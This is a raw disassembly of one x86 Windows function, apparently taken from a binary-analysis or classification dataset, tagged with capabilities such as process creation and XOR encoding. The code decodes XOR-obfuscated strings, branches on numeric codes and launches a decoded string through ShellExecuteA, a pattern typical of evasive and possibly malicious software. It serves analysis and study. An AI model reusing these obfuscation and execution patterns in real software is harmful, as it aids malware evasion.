Function at 0x408910
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45dee1
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x1e0
mov eax, dword [0x4750bc]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1d4], ecx
push 0
push 0x45fc37
mov ecx, 0x4756e0
mov dword [ebp - 4], 0
mov byte [0x4756dc], 0
call fcn.004035c0
push 0x1024
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x1024
mov edi, eax
push 0
push edi
call sub.VCRUNTIME140.dll_memset
sub esp, 8
mov dword [ebp - 0x1b4], 0x1006f6c
mov esi, esp
mov dword [ebp - 0x1c8], esp
push 6
push str.remove
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 6
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 6], 0
sub esp, 0xc
mov byte [ebp - 4], 1
mov edx, esp
mov dword [ebp - 0x2c], esp
mov dword [ebp - 0x1cc], edx
cmp byte [ebp - 0x1b1], 0
je 0x408a08
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
add al, 0x51
xor byte [ebp + ecx - 0x1b4], al
inc ecx
cmp ecx, 2
jb 0x4089f0
mov byte [ebp - 0x1b1], 0
lea eax, [ebp - 0x1b5]
mov ecx, edx
push eax
lea eax, [ebp - 0x1b2]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.004065c0
mov esi, dword [0x4757b0]
sub esp, 0x18
mov edx, esp
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [edx], 0
lea eax, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov dword [ebp - 0x1cc], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408a52
sub ecx, dword [ebp - 0x1cc]
push ecx
push esi
mov ecx, edx
call fcn.004022a0
mov ecx, dword [ebp - 0x1d4]
lea eax, [ebp - 0xf0]
push eax
mov byte [ebp - 4], 0
call fcn.0040b8b0
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x408a88
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x408a90
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x408ad9
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408acf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408acf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045bf3a
add esp, 8
push dword [0x4757b0]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
sub esp, 0x14
mov ecx, edi
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408b03
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.004022a0
lea eax, [ebp - 0xf0]
push eax
lea ecx, [ebp - 0x1cd]
call fcn.00412200
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x408b31
mov ecx, dword [ecx]
mov edx, edi
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x408b35
mov ecx, dword [ebp - 0xdc]
cmp ecx, 0x10
jb 0x408b7e
mov edx, dword [ebp - 0xf0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x408b74
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x408b74
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0045bf3a
add esp, 8
push edi
call fcn.0040fa40
add esp, 4
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x2c], esp
push 1
push 0x45fc60
push esi
mov dword [esi], 0
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 3
mov edx, esp
mov ecx, edi
mov dword [edx], 0
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408bd6
sub ecx, esi
push ecx
push edi
mov ecx, edx
call fcn.004022a0
lea eax, [ebp - 0x1c4]
mov byte [ebp - 4], 0
push eax
call fcn.0040ca50
add esp, 0x34
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x1c4]
add esp, 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 0x10
mov edi, eax
jb 0x408c1f
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x1cc]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
cmp esi, dword [ebp - 0x1cc]
je 0x409be0
cmp dword [edi], 0x22
je 0x409bea
cmp eax, 0x22b
jg 0x408ca3
je case.0x408cc3.730
cmp eax, 0xa3
jg 0x408c97
je case.0x408cc3.637
cmp eax, 0x67
je case.0x408cc3.637
cmp eax, 0x71
push 1
lea ecx, [ebp - 0x1c4]
mov byte [0x4756dc], 0
call fcn.00407a20
mov ecx, eax
call fcn.0040a8d0
push eax
call fcn.0040fa40
add esp, 4
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
sub eax, 0x193
je case.0x408cc3.637
sub eax, 1
jmp case.0x408cc3.637
cmp eax, 0x387
jg 0x409ad5
je case.0x408cc3.637
add eax, 0xfffffd84
cmp eax, 0x91
ja case.0x408cc3.637
movzx eax, byte [eax + 0x409c0c]
jmp dword [eax*4 + 0x409bf4]
mov eax, dword [0x4757b4]
inc eax
mov dword [0x4757b4], eax
cmp eax, 1
jne 0x408e0a
push 4
call fcn.0045bf0a
add esp, 4
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x408cfe
mov ecx, eax
call fcn.0040f790
mov esi, eax
jmp 0x408d00
xor esi, esi
sub esp, 0x18
mov byte [ebp - 4], 4
mov eax, esp
mov dword [ebp - 0x2c], esp
lea ecx, [ebp - 0x1b4]
mov word [ebp - 0x1b4], 0x6b
mov byte [ebp - 0x1b2], 1
push eax
call fcn.00407a30
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
mov edi, esp
mov byte [ebp - 4], 6
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
push edi
call fcn.00410500
add esp, 0x1c
mov byte [ebp - 4], 4
lea eax, [ebp - 0x84]
push eax
call fcn.0040ca50
add esp, 0x34
mov eax, dword [ebp - 0x84]
mov byte [ebp - 4], 7
cmp eax, 0x475764
je 0x408d8f
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
jb 0x408d7d
mov eax, dword [eax]
push ecx
push eax
mov ecx, 0x475764
call fcn.004035c0
mov eax, dword [ebp - 0x84]
lea ecx, [eax + 0x18]
cmp ecx, 0x47574c
je 0x408db7
cmp dword [ecx + 0x14], 0x10
mov eax, dword [ecx + 0x10]
jb 0x408da5
mov ecx, dword [ecx]
push eax
push ecx
mov ecx, 0x47574c
call fcn.004035c0
mov eax, dword [ebp - 0x84]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xd8]
mov ecx, esi
push eax
call fcn.0040f840
push eax
mov ecx, 0x475734
call fcn.00407970
lea ecx, [ebp - 0xd8]
call fcn.004014e0
lea ecx, [ebp - 0x84]
mov dword [0x4757d4], 0xf1
mov byte [0x4756dc], 1
call fcn.00409ca0
jmp 0x409aac
cmp eax, 2
jne 0x4091cc
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x108]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 8
jb 0x408e42
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xf0]
call fcn.00406e40
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0xa
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x70]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0xb
jb 0x408e89
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00406e40
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0xd
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x108]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0xe
jb 0x408ed0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x48]
call fcn.00406e40
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x10
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x70]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x11
jb 0x408f14
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xa8]
call fcn.00406e40
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0x13
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x90]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x14
jb 0x408f5b
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00406e40
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x16
call fcn.004014e0
mov esi, dword [ebp - 0x1d4]
lea eax, [esi + 0x60]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.00406680
add esp, 8
test al, al
je 0x4090bc
push 0x45fc64
lea eax, [esi + 0x18]
mov dword [ebp - 0x2c], 0x312b377f
push eax
lea eax, [ebp - 0x198]
mov word [ebp - 0x28], 0x100
push eax
call fcn.00406750
add esp, 0xc
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0x17
push ecx
push eax
lea eax, [ebp - 0x1b0]
push eax
call fcn.004066f0
add esp, 0xc
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x18
push ecx
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00406830
add esp, 0xc
lea ecx, [ebp - 0x1b0]
call fcn.004014e0
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x1b
call fcn.004014e0
lea ecx, [ebp - 0xd8]
call fcn.0040a8d0
push eax
lea ecx, [ebp - 0x70]
call fcn.00406e40
lea eax, [ebp - 0x108]
mov byte [ebp - 4], 0x1c
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00403d30
add esp, 8
lea ecx, [ebp - 0x70]
call fcn.004014e0
lea ecx, [ebp - 0x108]
call fcn.0040a8d0
push 1
push 0
push 0
push eax
mov dword [ebp - 0x90], 0x4d34767c
lea eax, [ebp - 0x90]
mov dword [ebp - 0x8c], 0x18133b88
mov dword [ebp - 0x88], 0xbf2de8e4
mov dword [ebp - 0x84], 0x57a3be71
mov dword [ebp - 0x70], 0x23510613
mov dword [ebp - 0x6c], 0x18133b88
mov dword [ebp - 0x68], 0xbf2de8e4
mov dword [ebp - 0x64], 0x57a3be71
movaps xmm1, xmmword [ebp - 0x70]
pxor xmm1, xmmword [ebp - 0x90]
push eax
push 0
movaps xmmword [ebp - 0x90], xmm1
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [ebp - 0xac], 0x10
lea eax, [ebp - 0xc0]
push 1
cmovae eax, dword [ebp - 0xc0]
push 0x45fc00
push dword [ebp - 0xb0]
push eax
call fcn.00406bd0
add esp, 0x10
test al, al
je 0x409155
movaps xmm0, xmmword [0x45fd50]
lea ecx, [ebp - 0x148]
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x118], 0xf2e6e6a1
movaps xmm0, xmmword [0x45fd20]
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x114], 0xf8e8eae0
movaps xmm0, xmmword [0x45fdb0]
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x110], 0xaaf8ec
mov byte [ebp - 0x10c], 1
call fcn.0040a8a0
push eax
call fcn.0040fa40
add esp, 4
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea eax, [ebp - 0x198]
mov dword [ebp - 0x2c], 0x31262025
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00407aa0
push eax
mov ecx, 0x475830
call fcn.00407970
lea ecx, [ebp - 0x198]
call fcn.004014e0
lea ecx, [ebp - 0xd8]
mov dword [0x4757d0], 0xd0035f3
mov byte [0x4756dc], 1
call fcn.004014e0
lea ecx, [ebp - 0xa8]
call fcn.004014e0
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0xc0]
call fcn.004014e0
lea ecx, [ebp - 0xf0]
jmp 0x409aa7
cmp eax, 3
jne 0x409583
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x31262025
mov word [ebp - 0x28], 0x100
call fcn.0040a7b0
push eax
push 0x475830
call fcn.004066b0
add esp, 8
test al, al
jne 0x408c8f
cmp dword [0x4757d0], 0xd0035f3
jne 0x408c8f
mov eax, dword [ebp - 0x1c4]
push 0xa
push 0
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1d
call fcn.0040cca0
add esp, 0xc
mov dword [0x475640], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x1e
jb 0x40927e
mov eax, dword [eax]
push eax
mov ecx, 0x475674
call fcn.004079b0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
push 0xa
push 0
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x1f
call fcn.0040cca0
add esp, 0xc
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0040cd10
add esp, 8
mov ecx, 0x4756a4
push eax
call fcn.00407970
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x20
jb 0x409324
mov eax, dword [eax]
push eax
mov ecx, 0x47568c
call fcn.004079b0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x21
jb 0x409367
mov eax, dword [eax]
push eax
mov ecx, 0x47565c
call fcn.004079b0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x22
jb 0x4093ac
mov eax, dword [eax]
push eax
mov ecx, 0x47574c
call fcn.004079b0
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
push 0xa
push 0
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x23
call fcn.0040cca0
add esp, 0xc
mov dword [0x4756d8], eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 4
call fcn.004014e0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x2c], 0x20363c7f
push eax
lea ecx, [ebp - 0x2c]
mov word [ebp - 0x28], 0x100
call fcn.00407aa0
push eax
mov ecx, 0x475830
call fcn.00407970
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [str._sy0ww__r3:]
lea eax, [ebp - 0x48]
movups xmmword [ebp - 0x180], xmm0
lea ecx, [ebp - 0x180]
mov dword [0x4757d0], 0x369f
movaps xmm0, xmmword [0x45fcd0]
movups xmmword [ebp - 0x170], xmm0
push eax
movaps xmm0, xmmword [0x45fdc0]
movups xmmword [ebp - 0x160], xmm0
mov dword [0x4757d8], 0x2c5aa
movaps xmm0, xmmword [0x45fd90]
movups xmmword [ebp - 0x150], xmm0
mov dword [ebp - 0x110], 0xa5b7a385
movaps xmm0, xmmword [0x45fda0]
movups xmmword [ebp - 0x140], xmm0
mov word [ebp - 0x10c], 0x100
movaps xmm0, xmmword [0x45fdd0]
movups xmmword [ebp - 0x130], xmm0
movaps xmm0, xmmword [0x45fd80]
movups xmmword [ebp - 0x120], xmm0
call fcn.00407ae0
push eax
mov ecx, 0x475848
call fcn.00407970
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea eax, [ebp - 0x48]
mov byte [0x4756dc], 1
push eax
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x1b4], 0x1006718
call fcn.00407a60
push eax
mov ecx, 0x4756e0
call fcn.00407970
lea ecx, [ebp - 0x48]
call fcn.004014e0
movaps xmm0, xmmword [0x45fcf0]
xor ecx, ecx
movups xmmword [ebp - 0x70], xmm0
mov dword [ebp - 0x60], 0x8160412
mov dword [ebp - 0x5c], 0x1001f09
nop dword [eax]
mov al, cl
add al, 0x51
xor byte [ebp + ecx - 0x70], al
inc ecx
cmp ecx, 0x16
jb 0x409530
lea eax, [ebp - 0x1b5]
mov byte [ebp - 0x59], 0
push eax
lea eax, [ebp - 0x5a]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0xd8]
call fcn.004065c0
lea eax, [ebp - 0xd8]
mov ecx, 0x4756f8
push eax
call fcn.00407970
lea ecx, [ebp - 0xd8]
call fcn.004014e0
inc dword [0x4757b4]
jmp 0x409aac
cmp eax, 4
jne 0x408c8f
jmp 0x409aac
mov dword [ebp - 0x2c], 0x20363c7f
xor ecx, ecx
mov word [ebp - 0x28], 0x100
mov al, cl
add al, 0x51
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 4
jb 0x4095a0
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x27], 0
push eax
push 0x475830
call fcn.004066b0
add esp, 8
test al, al
jne 0x408c8f
cmp dword [0x4757d0], 0x369f
jne 0x408c8f
cmp dword [0x4757d8], 0x2c5aa
jne 0x408c8f
push 0x475848
lea ecx, [ebp - 0xd8]
call fcn.00402540
lea eax, [ebp - 0xd8]
push 0x475860
push eax
call fcn.00406680
add esp, 8
mov byte [ebp - 0x1b5], al
lea ecx, [ebp - 0xd8]
call fcn.004014e0
cmp byte [ebp - 0x1b5], 0
jne 0x408c8f
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x24
jb 0x409659
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00406e40
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x26
call fcn.004014e0
cmp dword [ebp - 0xac], 0x10
lea eax, [ebp - 0xc0]
push 8
cmovae eax, dword [ebp - 0xc0]
push 0x45fc68
push dword [ebp - 0xb0]
push eax
call fcn.00406bd0
add esp, 0x10
test al, al
je 0x4090b4
mov eax, dword [ebp - 0x1c4]
push 0xa
push 0
sub esp, 0x18
add eax, 0x30
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x27
call fcn.0040cca0
add esp, 0xc
mov dword [0x475640], eax
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x26
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x48
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x28
jb 0x40971c
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409721
sub ecx, esi
push ecx
push edx
mov ecx, 0x475674
call fcn.004035c0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x26
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
push 0xa
push 0
sub esp, 0x18
add eax, 0x60
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0x198]
push eax
call fcn.00410500
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x29
call fcn.0040cca0
add esp, 0xc
push eax
lea eax, [ebp - 0xa8]
push eax
call fcn.0040cd10
add esp, 8
mov ecx, 0x4756a4
push eax
call fcn.00407970
lea ecx, [ebp - 0xa8]
call fcn.004014e0
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0x26
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x78
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2a
jb 0x4097df
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4097e4
sub ecx, esi
push ecx
push edx
mov ecx, 0x47568c
call fcn.004035c0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x26
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x90
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
mov edx, eax
cmp dword [edx + 0x14], 0x10
mov byte [ebp - 4], 0x2b
jb 0x40983b
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x409840
sub ecx, esi
push ecx
push edx
mov ecx, 0x47565c
call fcn.004035c0
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x26
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
cmp dword [eax + 0xb8], 0
je 0x4098ee
sub esp, 0x18
mov word [ebp - 0x1b4], 0x2d
mov eax, esp
mov dword [ebp - 0x2c], esp
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 0x1b2], 1
push eax
call fcn.00407a30
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2c
sub esp, 0x18
add eax, 0xa8
mov ecx, esp
push eax
call fcn.00402540
push esi
call fcn.00410500
add esp, 0x1c
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x84]
push eax
call fcn.0040ca50
add esp, 0x34
mov ecx, 0x4756bc
push eax
call fcn.004079e0
lea ecx, [ebp - 0x84]
call fcn.00409ca0
mov eax, dword [ebp - 0x1c4]
cmp dword [eax + 0xd0], 0
je 0x409982
sub esp, 0x18
mov word [ebp - 0x1b4], 0x2d
mov eax, esp
mov dword [ebp - 0x2c], esp
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 0x1b2], 1
push eax
call fcn.00407a30
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
mov esi, esp
mov byte [ebp - 4], 0x2d
sub esp, 0x18
add eax, 0xc0
mov ecx, esp
push eax
call fcn.00402540
push esi
call fcn.00410500
add esp, 0x1c
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x84]
push eax
call fcn.0040ca50
add esp, 0x34
mov ecx, 0x4756c8
push eax
call fcn.004079e0
lea ecx, [ebp - 0x84]
call fcn.00409ca0
mov eax, dword [ebp - 0x1c4]
mov dword [0x4756d4], 0xf018b3
jmp 0x40998c
mov dword [0x4756d4], 0
push 0xa
push 0
sub esp, 0x18
add eax, 0x108
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
push eax
mov byte [ebp - 4], 0x2e
call fcn.0040cca0
add esp, 0xc
mov dword [0x4756d8], eax
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x26
call fcn.004014e0
mov eax, dword [ebp - 0x1c4]
add eax, 0x120
cmp dword [eax + 0x10], 0
je 0x409a21
push 0xa
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00402540
lea eax, [ebp - 0xa8]
push eax
call fcn.00410500
add esp, 0x1c
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 0x2f
jb 0x409a09
mov eax, dword [eax]
push eax
call fcn.0040fa50
add esp, 8
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xa8]
call fcn.004014e0
lea eax, [ebp - 0xa8]
mov byte [0x4756dc], 1
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x31213d12
mov word [ebp - 0x28], 0x100
call fcn.00407aa0
push eax
mov ecx, 0x4756e0
call fcn.00407970
lea ecx, [ebp - 0xa8]
call fcn.004014e0
lea ecx, [ebp - 0xc0]
jmp 0x409aa7
mov byte [0x4756dc], 1
jmp 0x409aac
mov eax, dword [ebp - 0x1c4]
sub esp, 0x18
add eax, 0x18
mov byte [0x4756dc], 1
mov ecx, esp
mov byte [0x4757e4], 1
push eax
call fcn.00402540
lea eax, [ebp - 0x48]
push eax
call fcn.00410500
add esp, 0x1c
mov ecx, 0x475800
push eax
call fcn.00407970
lea ecx, [ebp - 0x48]
call fcn.004014e0
lea ecx, [ebp - 0x1c4]
call fcn.00409ca0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0045bf48
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
cmp eax, 0xbbd
jg 0x409b0c
je case.0x408cc3.637
cmp eax, 0x41c
jg 0x409b02
je case.0x408cc3.637
sub eax, 0x3e9
je case.0x408cc3.637
sub eax, 0xa
jmp case.0x408cc3.637
cmp eax, 0xbbc
jmp case.0x408cc3.637
cmp eax, 0xd1f
je case.0x408cc3.637
cmp eax, 0x19b4
je 0x409b92
cmp eax, 0x2719
jne case.0x408cc3.637
mov dword [ebp - 0x90], 0x4625685a
lea eax, [ebp - 0x90]
mov dword [ebp - 0x8c], 0x747255fa
mov dword [ebp - 0x88], 0xcd5fadc4
mov dword [ebp - 0x84], 0x57a3cc1e
mov byte [0x4756dc], 0
movaps xmm1, xmmword [ebp - 0x90]
mov dword [ebp - 0x70], 0x23510613
mov dword [ebp - 0x6c], 0x18133b88
mov dword [ebp - 0x68], 0xbf2de8e4
mov dword [ebp - 0x64], 0x57a3be71
pxor xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x90], xmm1
jmp 0x408c86
push 0x2b
mov byte [0x4756dc], 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ebx, dword [ebp - 0x14]
movaps xmm0, xmmword [0x45fd60]
lea ecx, [ebp - 0x48]
push 5
mov byte [ebp - 4], 0x31
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x65a0419
mov dword [ebp - 0x34], 0x54025d
mov byte [ebp - 0x30], 1
call fcn.0040a810
push eax
call fcn.0040fa40
add esp, 8
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push str.invalid_stoi_argument
